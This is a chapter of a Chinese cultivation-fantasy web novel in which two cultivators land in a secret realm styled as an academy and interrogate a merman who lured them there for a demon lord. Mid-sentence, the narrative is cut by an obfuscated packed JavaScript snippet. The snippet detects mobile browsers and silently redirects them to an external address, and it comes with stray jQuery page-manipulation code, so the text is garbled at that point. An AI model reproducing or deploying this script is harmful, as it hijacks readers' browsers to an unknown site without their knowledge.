下坠感骤停,李长缨重重摔在青石地面上。
她下意识摸向脸颊,惊觉手感不对。
易容被解除了,连带着伪装的细小疤痕和暗沉肤色都不复存在。
“这是何地?”奚不言的声音从右侧传来。
她抬眸望去,见他也恢复了本来样貌,一双狐狸眼微微上挑,鼻梁高挺,薄唇紧抿。
两人对视一眼,都从对方眼里看到一丝困惑。
李长缨撑起身子,目光明显一愣。
她正跪在一片青石砖上,周身是一处规格庞大的居所,白墙黑瓦层层叠叠,飞檐斗拱穿插其间,皆为上品木料所制,偶有三两翠竹,竹叶交相掩映。不远处,一座莲池浮着墨绿莲叶,粉白莲花半开未绽,池底游弋的锦鲤穿梭于丛生的莲叶间,泛起细碎涟漪。
一呼一吸间,充沛的灵气盈满肺腑,抚慰她从高处跌落而致的疼痛。
“秘境?”她想起坠落黑暗前似乎听到苍溟的低语,掐了掐掌心,疼痛感倒是十分真实。
回头看向奚不言,她才发觉他有什么不对劲。
他向来一袭青衫,可眼下,他身上穿的是一件素白衣袍,腰间挂着一块青玉名牌,“奚不言”三字隐约可见。
低头一看,不知何时,她身上也换上了同款素袍,腰间玉牌明晃晃写着“李长缨”。
摩挲着玉牌,奚不言低声道:“这里是灵音学宫。”
“你如何知晓?”李长缨愕然。
他将玉牌翻转一面,背后四个大字跃入眼中——
“灵音学宫”。
李长缨:……
是她大意了。
理了理凌乱的衣着,她直起身,好奇地打量四周。
此地环境清幽,竹叶清香萦绕鼻尖,试探地在附近走走,发现除他们二人外,空无一人。
秘境可以看作一个大型阵法,若想成功离开秘境,必须找到对应的阵眼,而这个过程离不开和秘境中人交流以寻找线索。
附近居然没人。
李长缨拧眉,回头望向奚不言:“要不我们一同去远点的地方探索一番?”
他颔首,正要抬步离开,天上忽然传来一阵惊呼。
李长缨猛地抬头,只见天穹骤然裂开一道缝隙,缝隙背后是浓得化不开的黑。熟悉的银蓝色身影从裂缝中笔直坠落,长发如瀑,在风中狂舞。
“砰!”
那人的身躯砸在莲池里,水花炸起一丈高,池中锦鲤惊得四散。入水瞬间,两米有余的鱼尾化作人腿,同款素白衣袍缓缓显现,青玉名牌上刻着“苍溟”二字。
亲眼见到统一的服饰和名牌如何出现,李长缨瞪大眼睛,心下称奇。
不过现在不是想这些的时候,眼前这个人,是害他们进入秘境的罪魁祸首。
她轻巧跃至池畔,星澜剑出鞘,直指他咽喉:“你又在耍什么花样?”
苍溟扑腾几下,勉强直起身子,口中呛出几大口池水,湿漉漉的长发上粘着无数细小浮萍,看起来狼狈不堪。
“我怎么也进来了……明明说好不会波及我的……”他烦躁地抓下一把浮萍,嘴里不住抱怨。
李长缨剑锋往前一送,戳在他颈侧,颗颗血珠顺着脖颈滑落。
感觉到痛意,他抬眼,与她燃着滔滔怒火的眼眸对视须臾,眼珠一转,才发现自己目前处境之危险,稍有不慎恐怕便会被眼前人毫不犹豫斩于剑下。
苍溟连连后退,双手举起,面上浮现惶恐之色。
“我、我不是有意让你们进来的……不不不,我也不知道这是怎么回事,你别迁怒我呀……”
嘴角轻扬,她冷笑一声,手中添了几分力,剑尖“噗嗤”一声没入皮肉半寸。
她启唇,眼中冷意更甚:“‘秘境开启,有缘再会’,不是你说的?”
他痛得瑟缩了一下,唯唯诺诺道:“是我说的,但我真的不知道会这样……”
还在装。
李长缨不耐烦地啧了声,握剑的手指攥得发白,心中只剩一个字。
杀。
杀了他,杀了这个害得她误入秘境的人。
正要抬手给他个教训,远处忽传来几声喧哗。
“夫子今日教授的课业好难,御剑术还是学不会……”
“我也没大听懂,不如去找应师兄问问吧?”
“应师兄最近都在闭关,我不敢去打扰他,并且身为丹修,他也会御剑吗?”
“你在说什么,怎么可能有应师兄不会的事……”
几名小弟子背着剑,说笑着缓步走来,幸有竹叶遮掩,暂时没发现他们。
李长缨与奚不言交换了个眼神,他从芥子囊中取出一根捆仙索,干脆利落将苍溟五花大绑。
“喂,你们……!”
察觉到有人靠近,苍溟刚想张口求救,便被她径直往嘴里塞了块手帕。他“呜呜”地抗议起来,试图制造些大点的动静。
星澜剑倏地横在他颈间,李长缨漠然道:“再出声,杀了你。”
身体猛地抖了一下,苍溟回想起方才她眼中一闪而过的杀意,毫无疑问,若非那几个小弟子的出现,他怕是早已成了她剑下亡魂。
思及此,他乖乖低头,不再乱动。
环顾四周,附近居室大多在门口挂着一块木牌,其上写着弟子姓名。只有角落处的一间厢房上未挂木牌,门口石阶苔痕遍布,门框结着蛛网。
李长缨果断踢开门,将苍溟牵进去,奚不言回身关门,顺便落了道隔音的结界。
室内陈设简单,只有一张檀木床、一个倾倒的丹炉、和一张书案,都覆盖着厚厚一层灰尘。
俨然是久无人居住。
简单施了个清洁术,她坐在檀木床上,支着头,冷声道:“如实招来,为何要将我们引入此地?”
苍溟眨眨眼,打量着她和奚不言的神色,斟酌道:“我并无恶意,实在是事出有因……”
还在打太极。
李长缨目光骤冷,准备直接动手,却见奚不言手腕一翻,指间霎时凝出一根银针。
银针抵在苍溟太阳穴,他柔声开口:“想好了再说。”
顿时,苍溟双眼惊恐地瞪大,心中咆哮。
恶魔!简直是恶魔!!
这人不是医修吗,医者仁心,怎么心肠也如此歹毒?!
他不得不收起想推脱的心思,深吸一口气,正色道:“此事还需从两月前说起……”
“两月前,我们鲛人一族捡到了一块丹炉碎片,看似普通,然而其中蕴含着取之不尽的魔气,族长疑心是上古魔神的遗留之物,决定交给魔尊。”
魔神?
李长缨眼神一凛,心下登时思忖起来,魔神和丹炉有什么关系。
抬眼看向奚不言,他正抚着下巴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941886|177386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,若有所思。
苍溟继续交代:“可是不等族长交出那个东西,族里便发生了异变。不少族人的鳞片变成黑紫色,时不时渗出黑色汁液,皮肤呈现出蛛网般的纹路,就算泡在水里也无济于事。这种状况愈演愈烈,甚至到最后,除我之外,其他人无一幸免——这也是近几个月鲛人不再现身的原因。”
“族长把这个变化告诉了魔尊,魔尊说是受魔气污染所致,只要我们完成一件事,他可以提供消除魔气的办法。”
“你为何没有被污染?”她冷不丁问道。
闻言,苍溟抿了抿唇,眼神飘忽几瞬,才低低开口:“我比较爱出门,捡到丹炉碎片那段时日,我正在东大陆附近海域,离得太远未受影响,是族长给我传信才得知此事。”
“魔尊交代的事,便是让我找几位修士,想办法把他们骗到隐仙山,打碎吊坠,打开归墟秘境……哦对了,那个月牙状的吊坠也是他给我的,他还特别强调,必须找实力较强的修士。”
归墟秘境?
听起来有些耳熟,不过李长缨想不起来在何处听到过。
她眼神微暗:“所以你撞上青龙号,不是巧合?”
“是……也不是,”苍溟弱弱辩解,“行驶在无望海上的修士的船挺多的,我本来不知道找哪艘,可我闻到你们船上有同族的气息,以为有跟我一样的幸存者……”
想起那个朝鲛人转化失败的极乐宫弟子,李长缨气得想笑。
谁能料到当初随手教训人,会引出后续这么一长串事情。
他诚恳道:“但是我真的不知道打碎吊坠会如何,我只想着完成了任务,就可以救我的族人。”
“万一会害得你找的修士陷入死地呢?你可曾想过?”她冷声问道。
苍溟眼中划过一丝茫然:“我没想过,不过不至于吧?”他皱着眉思考:“魔尊似乎……没有随意杀人的癖好?”
李长缨:……
这个家伙,真当魔尊是好相与的么?
奚不言表情复杂:“你方才说的魔尊,是哪位?”
“西境魔尊,谢拾七。”苍溟老老实实答道。
沉默片刻,他松开手,银针化作一团灵光飞入掌心。
观他面色有异,李长缨好奇道:“有交情?”
一抬眸,他便看见她眼中闪烁的八卦之色。
明显一噎,奚不言无可奈何:“李道友,杏林门毕竟是正派宗门。”
言下之意便是——
他怎么可能和魔尊有交情?不想在修真界立足了么?
李长缨“哦”了声,摸摸鼻梁,扭头看见苍溟脸上幸灾乐祸的神情一闪而过,当即拔剑,厉声道:“你的事还没清算完。”
苍溟立刻缩了缩脖子,哀嚎:“该交代的我都交代了,其他的我真的不知道啊……”
“呵。”
一声极轻的冷笑从厢房角落传来。
三人猛地回头,只见原本空无一人的阴影处,缓缓浮现一道盘坐的身影。
那人一袭素白长袍,袖口绣有银线云纹,眉目如画,一双眼眸似浸着腊月寒冰,眉心一点红痣,衬得肤色如雪。
他目光沉沉扫过三人,空气仿佛凝滞了一瞬。
“私闯静室,喧哗扰修,”目光落在苍溟缚着的捆仙索上,他站起身,声音低沉而冷冽,“还对同门用私刑,你们是想被逐出学宫么?”